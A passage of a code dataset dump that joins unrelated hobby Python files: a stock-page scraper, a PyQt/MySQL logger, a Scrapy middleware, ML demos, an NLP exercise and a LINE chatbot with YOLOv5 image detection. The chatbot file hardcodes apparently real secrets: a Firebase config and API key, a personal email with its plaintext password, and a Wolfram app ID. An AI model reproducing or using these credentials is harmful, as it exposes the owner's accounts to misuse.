selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom bs4 import BeautifulSoup\nimport json\n#proxy = \"127.0.0.1:8080\"\nbrowser = webdriver.Chrome()# initialization\nwait = WebDriverWait(browser,10)\nresult = []\ntry:\n browser.get(\"http://quote.eastmoney.com/center/gridlist.html#hs_a_board\")\n for i in range(199):\n time.sleep(1)\n stocks = wait.until(EC.presence_of_element_located((By.ID,\"table_wrapper-table\"))) \n button = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR,\"a.next\")))\n html = browser.page_source\n soup = BeautifulSoup(html,\"html.parser\")\n table = soup.select(\"#table_wrapper-table\")\n tbody = table[0].find(\"tbody\")\n trs = tbody.find_all(\"tr\")\n for tr in trs:\n temp={}\n re = []\n for td in tr:\n re.append(td.text)\n temp[\"序号\"] = re[0]\n temp[\"代码\"] =re[1]\n temp[\"名称\"] =re[2]\n temp[\"最新价\"] =re[4]\n temp[\"涨跌幅\"] =re[5]\n temp[\"涨跌额\"] =re[6]\n temp[\"成交量\"] =re[7]\n temp[\"成交额\"] =re[8]\n temp[\"振幅\"] =re[9]\n temp[\"最高\"] =re[10]\n temp[\"最低\"] =re[11]\n temp[\"今开\"] =re[12]\n temp[\"昨收\"] =re[13]\n temp[\"量比\"] =re[14]\n temp[\"换手率\"] =re[15]\n temp[\"市盈率\"] =re[16]\n temp[\"市净率\"] =re[17]\n result.append(temp)\n print(\"page \"+str(i+1)+\" successful!\")\n button.click()\n with open(\"20200522.json\",\"w\") as file:\n file.write(json.dumps(result,indent=2,ensure_ascii=False))\nexcept TimeoutException:\n print(\"error\")\nfinally:\n browser.close()\n","sub_path":"爬虫脚本/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"531728356","text":"__author__='Syd'\n\nfrom PyQt5.Qt import *\nfrom escape_data_mode import Ui_Form\nimport sys\nimport pymysql\nfrom datetime import datetime\nfrom collections import Counter\n\nclass escape_data_pane(QWidget,Ui_Form):\n\n exit_elution_signal = pyqtSignal()\n\n def __init__(self,parent=None,*args,**kwargs):\n super().__init__(parent,*args,**kwargs)\n self.setupUi(self)\n\n def Write_into_databases(self,label,event,feel,timepoint):\n db = pymysql.connect('localhost', 'root', '','lifedata')\n cursor = db.cursor()\n columns = ['label','event','feel','timepoint']\n keys_ = ','.join(columns)\n values_ = ','.join(['%s'] * 4)\n sql_insert = 'INSERT INTO escapedata({keys}) VALUES({values})'.format(keys=keys_, values=values_)\n input_list = [label,event,feel,timepoint]\n input_tuple = tuple(input_list)\n cursor.execute(sql_insert, input_tuple)\n db.commit()\n db.close()\n cursor.close()\n\n def Content_list(self):\n label_list = []\n timepoint_list = []\n db = pymysql.connect('localhost', 'root', '', 'lifedata')\n cursor = db.cursor()\n sql = 'SELECT label,timepoint FROM escapedata'\n cursor.execute(sql)\n alldata = cursor.fetchall()\n for item in alldata:\n label_list.append(item[0])\n timepoint_list.append(item[1])\n db.commit()\n db.close()\n cursor.close()\n return label_list,timepoint_list\n\n def exit_escape(self):\n self.exit_elution_signal.emit()\n\n def Record(self):\n label = self.comboBox.currentText().strip()\n event = self.event_le.text().strip()\n feel = self.feel_le.text().strip()\n timepoint = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n self.Write_into_databases(label,event,feel,timepoint)\n\n def fig(self):\n label_list = self.Content_list()[0]\n Result= Counter(label_list)\n labelname_list = list(Result.keys())\n labelvalue_list = list(Result.values())\n print(labelvalue_list)\n show_str = ''\n for idx,item in enumerate(labelname_list):\n show_str += item + ': ' +str(labelvalue_list[idx]) + '\\n'\n print(show_str)\n self.textBrowser.append(show_str)\n\n # self.textBrowser.append(label_list)\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n # 2 控件的操作\n # 2.1 创建控件,设置控件(大小,位置,样式)\n window = escape_data_pane()\n\n # 2.2 展示控件\n window.show()\n\n # 3 app.exec_() 让整个程序开始执行,可以让窗口一直循环\n sys.exit(app.exec_())\n\n\n\n\n\n\n\n\n","sub_path":"escape_data_pane.py","file_name":"escape_data_pane.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"272632199","text":"import csv \r\nwith open('SOCR.csv', newline='') as f:\r\n reader = csv.reader(f)\r\n fileData = list(reader)\r\n\r\nfileData.pop(0)\r\n#print(fileData)\r\nheight = []\r\nfor i in range(len(fileData)):\r\n num = fileData[i][1]\r\n height.append(float(num))\r\n\r\nheight.sort()\r\nnumber = len(height)\r\nif number % 2==0:\r\n number1 = float(height[number//2])\r\n number2 = float(height[number//2-1])\r\n median = (number1 + number2)/2\r\n\r\nelse:\r\n median = height[number//2]\r\n\r\nprint(\"the median is: \" + str(median))","sub_path":"median.py","file_name":"median.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"215627172","text":"# -*- coding: utf-8 -*-\nfrom logging import getLogger\nfrom scrapy.exceptions import IgnoreRequest\nfrom XueQiuScrapy.stock_logger import log_error,log_info\nimport traceback\nimport redis\nimport time\n\nclass SeleniumMiddleware():\n def __init__(self,host,db,port,cookies):\n self.logger = getLogger(__name__)\n self.cookie = cookies\n self.redis_host = host\n self.redis_db = db\n self.redis_port = port\n self.redis_data_dict = 'url_hash'\n self.r = self.r = redis.StrictRedis(host=self.redis_host,port=self.redis_port,db=self.redis_db)\n\n\n @classmethod\n def from_crawler(cls, crawler):\n return cls(\n host=crawler.settings.get('REDIS_HOST'),\n db=crawler.settings.get('REDIS_DB'),\n port=crawler.settings.get('REDIS_PORT'),\n cookies = crawler.settings.get('COOKIE')\n )\n\n def process_request(self, request, spider):\n request.cookies = self.cookie\n if self.r.hexists(self.redis_data_dict,request.url):\n raise IgnoreRequest(\"IgnoreRequest : %s\" % request.url)\n else:\n #self.logger.info(\"New url : %s\" % request.url)\n log_info(\"Crawling url : %s\" % request.url)\n\n def process_response(self,request, response, spider):\n\n if response.status == 400:\n try:\n log_error('Cookie Invalidation url:{0}'.format(response.url))\n self.logger.warning('Cookie Invalidation url:{0}'.format(response.url))\n except Exception as ee :\n log_error('Cookie Invalidation ERROR {}'.format(ee))\n log_error(traceback.format_exc())\n if response.status == 404:\n try:\n log_error('ERROR 404 url:{0}'.format(response.url))\n self.logger.warning('ERROR 404 url:{0}'.format(response.url))\n except Exception as ee:\n log_error('404 Error {}'.format(ee))\n log_error(traceback.format_exc())\n if response.status in [501,502,503,504]:\n #self.logger.info('IP use too match to enter waiting')\n log_info(\"IP use too match to enter waiting url:{}\".format(response.url))\n time.sleep(300)\n return request\n if response.status in [302]:\n self.logger.warning(\"302 Error IP Invalidation\")\n log_error(\"302 Error IP Invalidation\")\n return request\n else:\n return response\n\n\n\n\n","sub_path":"XueQiuScrapy/XueQiuScrapy/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"431073300","text":"import pprint as pp\npprint = pp.pprint\n\ndef entry(config, path, funcs):\n print(f'Config: {pp.pformat(config)}')\n print(f'Path {path}')\n #descent(config, path, funcs)\n traverse(config, path, funcs)\n\n\n# One way\ndef descent(config, path, funcs):\n print(f'Current path: {path}')\n fname = path.pop(0)\n config.update(config.get(fname, {}))\n f = funcs.get(fname)\n if isinstance(f, dict):\n funcs.update(f)\n descent(config, path, funcs)\n elif hasattr(f, '__call__'):\n config[fname] = '<>'\n del config[fname]\n leaf(funcs[fname], config)\n if len(path):\n descent(config, path, funcs)\n else:\n raise Exception(f'callspec[{fname}] is {f}')\n\n## Another way\ndef traverse(config, path, funcs):\n while len(path) > 0:\n this_config = config.copy()\n this_funcs = funcs.copy()\n print(f'Current path: {path}')\n fname = path[0]\n this_config.update(config.get(fname, {}))\n f = this_funcs.get(fname)\n if f is None: break\n\n if isinstance(f, dict):\n path.pop(0)\n traverse(this_config, path, f)\n\n if hasattr(f, '__call__'):\n path.pop(0)\n leaf(f, this_config)\n traverse(this_config, path, this_funcs)\n print(f'Renurned traverse, path: {path}')\n\ndef leaf(func, config):\n func(**config)\n\n","sub_path":"mods/webvis_mods/traverse-call/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"93107044","text":"# coding: utf-8\nfrom __future__ import absolute_import\nimport os.path\nimport sys\n\n#/\ndef pythonpath_init():\n #/\n my_dir = os.path.dirname(os.path.abspath(__file__))\n\n #/\n for path in ['', my_dir]:\n if path in sys.path:\n sys.path.remove(path)\n\n #/\n my_dep_dir = os.path.join(my_dir, 'dep')\n\n if my_dep_dir not in sys.path:\n sys.path.insert(0, my_dep_dir)\n\n #/\n my_pp_dir = os.path.dirname(my_dir)\n ## |pp| means PYTHONPATH\n\n if my_pp_dir not in sys.path:\n sys.path.insert(0, my_pp_dir)\n\ndef main():\n #/\n pythonpath_init()\n\n #/\n from aoikfuncit.main_imp import main as main_\n\n #/\n sys.exit(main_())\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/aoikfuncit/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"294034418","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport subprocess\nfrom tqdm import tqdm\nfrom ingredient_phrase_tagger.training import utils\nfrom folder_paths import input_folder, output_folder\n\ndef _exec_crf_test(input_text, model_path='/app/models/model.crfmodel'):\n\n try:\n with open('thefile', mode='w',encoding='utf-8') as input_file:\n\n # input_text = [safeStr(line) for line in input_text]\n\n input_file.write(utils.export_data(input_text))\n input_file.flush()\n return subprocess.check_output(\n ['crf_test', '--verbose=1', '--model', model_path,\n input_file.name]).decode('utf-8')\n finally:\n try:\n os.remove('thefile')\n except:\n pass\n\ndef _convert_crf_output_to_json(crf_output):\n return utils.import_data(crf_output)\n\n\ndef main():\n \"\"\"Read all the files in inputs folder, place a parsed file in with the same name in the output folder\"\"\"\n files = os.listdir(input_folder)\n files_in_output_folder = os.listdir(output_folder)\n\n with tqdm(total=len(files)) as bar:\n\n for file in files:\n # skip completed files\n if file in files_in_output_folder:\n continue\n\n with open(os.path.join(input_folder,file),encoding='utf-8') as f:\n raw_ingredient_lines = json.load(f)\n\n crf_output = _exec_crf_test(raw_ingredient_lines)\n crf_output = utils.import_data(crf_output.split('\\n'))\n\n file_name = os.path.join(output_folder,file)\n\n with open(file_name, 'w',encoding='utf-8') as f:\n json.dump(crf_output, f, ensure_ascii=False)\n\n bar.update(1)\nif __name__ == '__main__':\n\n main()\n","sub_path":"bin/parse-ingredients.py","file_name":"parse-ingredients.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"27739973","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix\n\n\nif __name__ == '__main__':\n df = pd.read_csv('datasets/Social_Network_Ads.csv')\n\n # use user's age and estimated salary to predict purchased\n X = df.iloc[:, [2, 3]].values\n Y = df.iloc[:, -1].values\n\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.25, random_state=0)\n\n scaler = StandardScaler()\n X_train = scaler.fit_transform(X_train)\n X_test = scaler.transform(X_test)\n\n lr = LogisticRegression()\n lr = lr.fit(X_train, Y_train)\n\n h = .02\n x_min, x_max = X_train[:, 0].min() - .5, X_train[:, 0].max() + .5\n y_min, y_max = X_train[:, 1].min() - .5, X_train[:, 1].max() + .5\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n Z = lr.predict(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n \n plt.pcolormesh(xx, yy, Z, cmap=plt.cm.Paired)\n plt.scatter(X_test[:, 0], X_test[:, 1], c=Y_test, edgecolors='k', cmap=plt.cm.Paired)\n plt.show()\n","sub_path":"day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"401198142","text":"from __future__ import unicode_literals\r\n\r\nimport datetime\r\nimport errno\r\nimport json\r\nimport os\r\nimport sys\r\nimport tempfile\r\nfrom argparse import ArgumentParser\r\nfrom dotenv import load_dotenv\r\n\r\nfrom flask import Flask, request, abort, send_from_directory,make_response\r\nfrom werkzeug.middleware.proxy_fix import ProxyFix\r\n\r\nfrom linebot import (\r\n LineBotApi, WebhookHandler\r\n)\r\nfrom linebot.exceptions import (\r\n LineBotApiError, InvalidSignatureError\r\n)\r\nfrom linebot.models import (\r\n MessageEvent, TextMessage, TextSendMessage,\r\n SourceUser, PostbackEvent, StickerMessage, StickerSendMessage, \r\n LocationMessage, LocationSendMessage, ImageMessage, ImageSendMessage)\r\n\r\nimport time\r\nfrom pathlib import Path\r\n\r\nimport cv2\r\nimport torch\r\nimport torch.backends.cudnn as cudnn\r\nfrom numpy import random\r\n\r\nfrom models.experimental import attempt_load\r\nfrom utils.datasets import LoadStreams, LoadImages\r\nfrom utils.general import check_img_size, non_max_suppression, apply_classifier, scale_coords, xyxy2xywh, \\\r\n strip_optimizer, set_logging, increment_path\r\nfrom utils.plots import plot_one_box\r\nfrom utils.torch_utils import select_device, load_classifier, time_synchronized\r\nimport pickle \r\nimport wikipedia\r\nimport pyrebase\r\nimport datetime\r\nimport wolframalpha\r\napp = Flask(__name__)\r\napp.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_host=1, x_proto=1)\r\n\r\n# reads the key-value pair from .env file and adds them to environment variable.\r\nload_dotenv()\r\n\r\n# get channel_secret and channel_access_token from your environment variable\r\nchannel_secret = os.getenv('LINE_CHANNEL_SECRET', None)\r\nchannel_access_token = os.getenv('LINE_CHANNEL_ACCESS_TOKEN', None)\r\nif channel_secret is None or channel_access_token is None:\r\n print('Specify LINE_CHANNEL_SECRET and LINE_CHANNEL_ACCESS_TOKEN as environment variables.')\r\n sys.exit(1)\r\n\r\nline_bot_api = LineBotApi(channel_access_token)\r\nhandler = WebhookHandler(channel_secret)\r\n\r\nstatic_tmp_path = os.path.join(os.path.dirname(__file__), 'static', 'tmp')\r\n \r\n#===== Firebase ====================================================\r\nconfig = {\r\n 'apiKey': \"AIzaSyCl-wWBByv3261Uu_h5IBqp15fV5iMaGzI\",\r\n 'authDomain': \"ai-detection-5a2b6.firebaseapp.com\",\r\n 'databaseURL': \"https://ai-detection-5a2b6-default-rtdb.firebaseio.com\",\r\n 'projectId': \"ai-detection-5a2b6\",\r\n 'storageBucket': \"ai-detection-5a2b6.appspot.com\",\r\n 'messagingSenderId': \"865732945786\",\r\n 'appId': \"1:865732945786:web:e671ea10f3ecff9c82d8c3\",\r\n 'measurementId': \"G-4FJ30SDMPG\",\r\n };\r\n\r\n\r\nfirebase = pyrebase.initialize_app(config)\r\nauth = firebase.auth()\r\n\r\nuser = auth.sign_in_with_email_and_password(\"kevinangas@gmail.com\", \"Mikey131998\")\r\n\r\n\r\n\r\nstorage = firebase.storage()\r\n \r\n\r\ndef add_image_db(img_path):\r\n now = datetime.datetime.now()\r\n timestamp = now.strftime(\"%Y-%m-%d %H:%M:%S\")\r\n path_on_cloud = f\"images/{timestamp}.jpg\"\r\n path_local = img_path\r\n storage.child(path_on_cloud).put(path_local)\r\n\r\n\r\n\r\n### YOLOv5 ###\r\n# Setup\r\ndef delete_all(): \r\n try: \r\n for i in os.listdir(\"static\"): \r\n os.remove(i)\r\n except: \r\n pass\r\n\r\n# function for create tmp dir for download content\r\ndef make_static_tmp_dir():\r\n try:\r\n os.makedirs(static_tmp_path)\r\n except OSError as exc:\r\n if exc.errno == errno.EEXIST and os.path.isdir(static_tmp_path):\r\n pass\r\n else:\r\n raise\r\n\r\n@app.route(\"/\", methods=['GET'])\r\ndef home():\r\n\r\n return \"Food Recognition AI\"\r\n\r\n\r\n\r\n@app.route(\"/callback\", methods=['POST'])\r\ndef callback():\r\n # get X-Line-Signature header value\r\n signature = request.headers['X-Line-Signature']\r\n\r\n # get request body as text\r\n body = request.get_data(as_text=True)\r\n app.logger.info(\"Request body: \" + body)\r\n\r\n # handle webhook body\r\n try:\r\n handler.handle(body, signature)\r\n except LineBotApiError as e:\r\n \r\n print(\"Got exception from LINE Messaging API: %s\\n\" % e.message)\r\n for m in e.error.details:\r\n print(\" %s: %s\" % (m.property, m.message))\r\n print(\"\\n\")\r\n \r\n \r\n except InvalidSignatureError:\r\n abort(400)\r\n\r\n return 'OK'\r\n\r\n\r\n\r\n@handler.add(MessageEvent, message=TextMessage)\r\ndef handle_text_message(event):\r\n #เรียกใช้ฟังก์ชัน generate_answer เพื่อแยกส่วนของคำถาม\r\n text = event.message.text\r\n if text.lower() == \"1\": \r\n weights = \"yolov5s.pt\"\r\n with open(\"model.pkl\",\"wb\") as f: \r\n f.write(pickle.dumps(weights))\r\n line_bot_api.reply_message(\r\n event.reply_token, [\r\n TextSendMessage(text=\"เปลี่ยนเป็นโหมดตรวจจับวัตถุ\"),\r\n ]\r\n ) \r\n elif text.lower() == \"2\": \r\n weights = \"best.pt\"\r\n with open(\"model.pkl\",\"wb\") as f: \r\n f.write(pickle.dumps(weights))\r\n line_bot_api.reply_message(\r\n event.reply_token, [\r\n TextSendMessage(text=\"เปลี่ยนเป็นโหมดตรวจจับอาหารไทย\"),\r\n ]\r\n ) \r\n elif text.lower() == \"3\":\r\n weights = \"best_BCCM.pt\"\r\n with open(\"model.pkl\",\"wb\") as f: \r\n f.write(pickle.dumps(weights))\r\n line_bot_api.reply_message(\r\n event.reply_token, [\r\n TextSendMessage(text=\"เปลี่ยนเป็นโหมดตรวจจับเม็ดเลือด\"),\r\n ]\r\n ) \r\n\r\n elif \"คำนวณ\" in text.lower():\r\n try:\r\n\r\n client = wolframalpha.Client(\"G84Y4Q-6K6GVKXLRA\")\r\n \r\n \r\n response = client.query(text[text.index(\"คำนวณ\")+len(\"คำนวณ \"):])\r\n \r\n result = None\r\n for result in response.results:\r\n pass\r\n # You could have also simply used result = list(response.results)[-1]\r\n \r\n if result is not None:\r\n ans_real = f\"คำตอบของคุณ คือ {result.text}\".format(result.text)\r\n \r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=ans_real))\r\n except:\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=\"ไม่เข้าใจเลยค่ะ พูดใหม่ได้ไหม\")) \r\n \r\n \r\n elif text.lower() == \"เปลี่ยนเป็นภาษาอังกฤษ\" or text.lower() == \"english\" or text.lower() == \"eng\" or text.lower() == \"อังกฤษ\" or text.lower() == \"ค้นหาด้วยาษาอังกฤษ\":\r\n wikipedia.set_lang('en')\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=\"ค้นหา wikipedia ด้วยภาษาอังกฤษ\"))\r\n elif text.lower() == \"เปลี่ยนเป็นภาษาไทย\" or text.lower() == \"thai\" or text.lower() == \"th\" or text.lower() == \"ไทย\" or text.lower() == \"ค้นหาด้วยาษาไทย\":\r\n wikipedia.set_lang('th')\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=\"ค้นหา wikipedia ด้วยภาษาไทย\"))\r\n elif text.lower() == \"delete\" or text.lower() == \"ลบภาพ\" or text.lower() == \"ลบ\":\r\n for i in os.listdir(static_tmp_path): \r\n os.remove(os.path.join(static_tmp_path,i))\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=\"ลบภาพทั้งหมด เรียบร้อยแล้วค่ะ\"))\r\n elif \"ค้นหา\" in text.lower():\r\n try:\r\n ans = wikipedia.summary(text[text.index(\"ค้นหา\")+len(\"ค้นหา\"):])\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=ans))\r\n except:\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=\"ไม่เข้าใจเลยค่ะ พูดใหม่ได้ไหม\"))\r\n elif \"search\" in text.lower(): \r\n text = text.lower()\r\n \r\n try:\r\n \r\n ans = wikipedia.summary(text[text.index(\"search\")+len(\"search\"):])\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=ans))\r\n\r\n except:\r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=\"ไม่เข้าใจเลยค่ะ พูดใหม่ได้ไหม\"))\r\n \r\n elif text.lower() == \"close\" or text.lower() == \"ปิด\" or text.lower() == \"ปิดโหมดตรวจจับวัตถุ\": \r\n line_bot_api.reply_message(\r\n event.reply_token, TextSendMessage(text=\"ปิดโหมดตรวจจับวัตถุในภาพแล้วค่ะ\")) \r\n else: \r\n pass\r\n@handler.add(MessageEvent, message=LocationMessage)\r\ndef handle_location_message(event):\r\n line_bot_api.reply_message(\r\n event.reply_token,\r\n LocationSendMessage(\r\n title='Location', address=event.message.address,\r\n latitude=event.message.latitude, longitude=event.message.longitude\r\n )\r\n )\r\n\r\n\r\n@handler.add(MessageEvent, message=StickerMessage)\r\ndef handle_sticker_message(event):\r\n line_bot_api.reply_message(\r\n event.reply_token,\r\n StickerSendMessage(\r\n package_id=event.message.package_id,\r\n sticker_id=event.message.sticker_id)\r\n )\r\n\r\n\r\n\r\n\r\n# Other Message Type\r\n@handler.add(MessageEvent, message=(ImageMessage))\r\ndef handle_content_message(event):\r\n #============== Set Up Yolo============================\r\n \r\n with open('model.pkl','rb') as f: \r\n \r\n a = pickle.loads(f.read())\r\n \r\n weights, view_img, save_txt, imgsz = a, False, False, 640\r\n \r\n # weights, view_img, save_txt, imgsz = 'yolov5s.pt', False, False, 640\r\n conf_thres = 0.25\r\n iou_thres = 0.45\r\n classes = None\r\n agnostic_nms = False\r\n save_conf = False\r\n save_img = True\r\n \r\n # Directories\r\n save_dir = 'static/tmp/'\r\n \r\n # Initialize\r\n set_logging()\r\n device = select_device('')\r\n half = device.type != 'cpu' # half precision only supported on CUDA\r\n \r\n # Load model\r\n model = attempt_load(weights, map_location=device) # load FP32 model\r\n imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size\r\n if half:\r\n model.half() # to FP16\r\n \r\n if isinstance(event.message, ImageMessage):\r\n ext = 'jpg'\r\n else:\r\n return\r\n \r\n\r\n \r\n \r\n message_content = line_bot_api.get_message_content(event.message.id)\r\n with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix=ext + '-', delete=False) as tf:\r\n for chunk in message_content.iter_content():\r\n tf.write(chunk)\r\n tempfile_path = tf.name\r\n\r\n dist_path = tempfile_path + '.' + ext\r\n \r\n \r\n\r\n dist_name = os.path.basename(dist_path)\r\n os.rename(tempfile_path, dist_path)\r\n add_image_db(dist_path)\r\n # Set Dataloader\r\n dataset = LoadImages(dist_path, img_size=imgsz)\r\n \r\n # Get names and colors\r\n names = model.module.names if hasattr(model, 'module') else model.names\r\n colors = [[random.randint(0, 255) for _ in range(3)] for _ in names]\r\n\r\n # Run inference\r\n t0 = time.time()\r\n img = torch.zeros((1, 3, imgsz, imgsz), device=device) # init img\r\n _ = model(img.half() if half else img) if device.type != 'cpu' else None # run once\r\n for path, img, im0s, vid_cap in dataset:\r\n img = torch.from_numpy(img).to(device)\r\n img = img.half() if half else img.float() # uint8 to fp16/32\r\n img /= 255.0 # 0 - 255 to 0.0 - 1.0\r\n if img.ndimension() == 3:\r\n img = img.unsqueeze(0)\r\n\r\n # Inference\r\n t1 = time_synchronized()\r\n \r\n pred = model(img, augment=False)[0]\r\n\r\n # Apply NMS\r\n pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=agnostic_nms)\r\n t2 = time_synchronized()\r\n\r\n # Process detections\r\n for i, det in enumerate(pred): # detections per image\r\n p, s, im0, frame = path, '', im0s, getattr(dataset, 'frame', 0)\r\n\r\n p = Path(p) # to Path\r\n save_path = str(save_dir + p.name) # img.jpg\r\n s += '%gx%g ' % img.shape[2:] # print string\r\n gn = torch.tensor(im0.shape)[[1, 0, 1, 0]] # normalization gain whwh\r\n if len(det):\r\n # Rescale boxes from img_size to im0 size\r\n det[:, :4] = scale_coords(img.shape[2:], det[:, :4], im0.shape).round()\r\n\r\n # Print results\r\n for c in det[:, -1].unique():\r\n n = (det[:, -1] == c).sum() # detections per class\r\n s += f'{n} {names[int(c)]}s, ' # add to string\r\n\r\n # Write results\r\n for *xyxy, conf, cls in reversed(det):\r\n if save_txt: # Write to file\r\n xywh = (xyxy2xywh(torch.tensor(xyxy).view(1, 4)) / gn).view(-1).tolist() # normalized xywh\r\n line = (cls, *xywh, conf) if save_conf else (cls, *xywh) # label format\r\n\r\n if save_img or view_img: # Add bbox to image\r\n label = f'{names[int(cls)]} {conf:.2f}'\r\n plot_one_box(xyxy, im0, label=label, color=colors[int(cls)], line_thickness=3)\r\n\r\n # Save results (image with detections)\r\n if save_img:\r\n if dataset.mode == 'image':\r\n cv2.imwrite(save_path, im0)\r\n\r\n # Print time (inference + NMS)\r\n print(f'{s}Done. ({t2 - t1:.3f}s)')\r\n \r\n url = request.url_root + '/static/tmp/' + dist_name\r\n\r\n line_bot_api.reply_message(\r\n event.reply_token, [\r\n TextSendMessage(text=\"รายงานผลลัพธ์การตรวจจับวัตถุ \"),\r\n ImageSendMessage(url,url)\r\n ])\r\n\r\n@app.route('/static/')\r\ndef send_static_content(path):\r\n return send_from_directory('static', path)\r\n\r\n# create tmp dir for download content\r\nmake_static_tmp_dir()\r\n\r\nif __name__ == \"__main__\":\r\n app.run(host=\"0.0.0.0\", port=8000, debug=True)\r\n\r\n","sub_path":"wolf.py","file_name":"wolf.py","file_ext":"py","file_size_in_byte":14801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282899957","text":"\"\"\"\"\r\ndef rr(lista,chave):\r\n for i in len(lista):\r\n if (chave == lista[i]):\r\n return True\r\n else:\r\n return False\r\n\"\"\" \r\ndef pesq(chave,lista):\r\n falso = False\r\n for i in range(len(lista)):\r\n if(chave == lista[i]):\r\n falso=True\r\n return falso\r\n\r\ndef uni(a,b):\r\n c = a[:]\r\n for i in range(len(b)):\r\n x=b[i]\r\n if(not pesq (x,c)):\r\n c.append(x)\r\n return c \r\n\r\ndef inter(a,b):\r\n c = []\r\n for i in range(len(a)):\r\n x=a[i]\r\n if(pesq (x,b)):\r\n c.append(x)\r\n return c\r\n \r\ndef dif(a,b):\r\n c = []\r\n for i in range(len(a)):\r\n x=a[i]\r\n if((pesq (x,b)) == False):\r\n c.append(x)\r\n return c \r\n\r\na = [1, 2, 3, 4, 5]\r\nb = [6, 7, 8, 1, 2]\r\nprint(uni(a,b))\r\nprint(inter(a,b))\r\nprint(dif(a,b))\r\n","sub_path":"simulado2/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"425009133","text":"'''\nNatural Language Processing (NLP)\nECOM6355\nASSIGNEMENT # 4\nAZIZA AWAD HASSAN\n220182085\n'''\n\n################# Q. 3.8 & Q. 3.9 ##################\nimport nltk\nfrom nltk import word_tokenize\nfrom nltk.util import ngrams\nfrom collections import Counter\nimport random\n\n\ntext1 = \"I need to write a program in NLTK that breaks a corpus (a large collection of \\\ntxt files) into unigrams, bigrams, trigrams, fourgrams and fivegrams.\\\nI need to write a program in NLTK that breaks a corpus\"\n\nfile = open(r\"C:\\Users\\aawad\\PycharmProjects\\NLP\\wizard_of_oz.txt\",\"r\")\ntext2 = file.read()\n\n\ntokens1 = nltk.word_tokenize(text1)\ntokens2 = nltk.word_tokenize(text2)\n\n\nprint('tokens1 = ', tokens1)\nprint('tokens2 = ', tokens2)\n\nprint(Counter(tokens1))\nprint(Counter(tokens2))\n\n\n################# Q. 3.10 ##################\n\nfrom random import choice\n\ndef generate_sentence(tokens, min, max):\n s = []\n length =0\n for x in range(random.randint(min, max)):\n word = random.choice(tokens)\n s.append(word)\n length += 1\n sentence = \" \".join(s)\n return sentence, length\n\nsentence1, len1 = generate_sentence(tokens1, 3, 6)\nsentence2, len2 = generate_sentence(tokens2, 4, 10)\nprint('sentence1 length = ', len1)\nprint('sentence1 = ', sentence1)\nprint('sentence2 length = ', len2)\nprint('sentence2 = ', sentence2)\n\ntokens1 = nltk.word_tokenize(sentence1)\ntokens2 = nltk.word_tokenize(sentence2)\nbigrams1 = ngrams(tokens1,2)\nbigrams2 = ngrams(tokens2,2)\nprint (Counter(bigrams1))\nprint (Counter(bigrams2))\n\n\n\n################# Q. 3.11 ##################\n\ndef word_freq_unigram(string):\n text = word_tokenize(string.lower())\n c = Counter(text) # count the words\n d = Counter(''.join(text)) # count all letters\n return (dict(c),dict(d)) # return a tuple of counted words and letters\n\ndata = \"This is a text, it contains dupes and more dupes and dupes of dupes and lkkk.\"\nwords, letters = word_freq_unigram(data) # count and get dicts with counts\n\nsumWords = sum(words.values()) # sum total words\nsumLetters = sum(letters.values()) # sum total letters\n\n# calc / print probability of word\nfor w in words:\n print(\"Probability of '{}': {}\".format(w,words[w]/sumWords))\n\n# calc / print probability of letter\nfor l in letters:\n print(\"Probability of '{}': {}\".format(l,letters[l]/sumLetters))\n\n# update the counts to propabilities:\nfor w in words:\n words[w] = 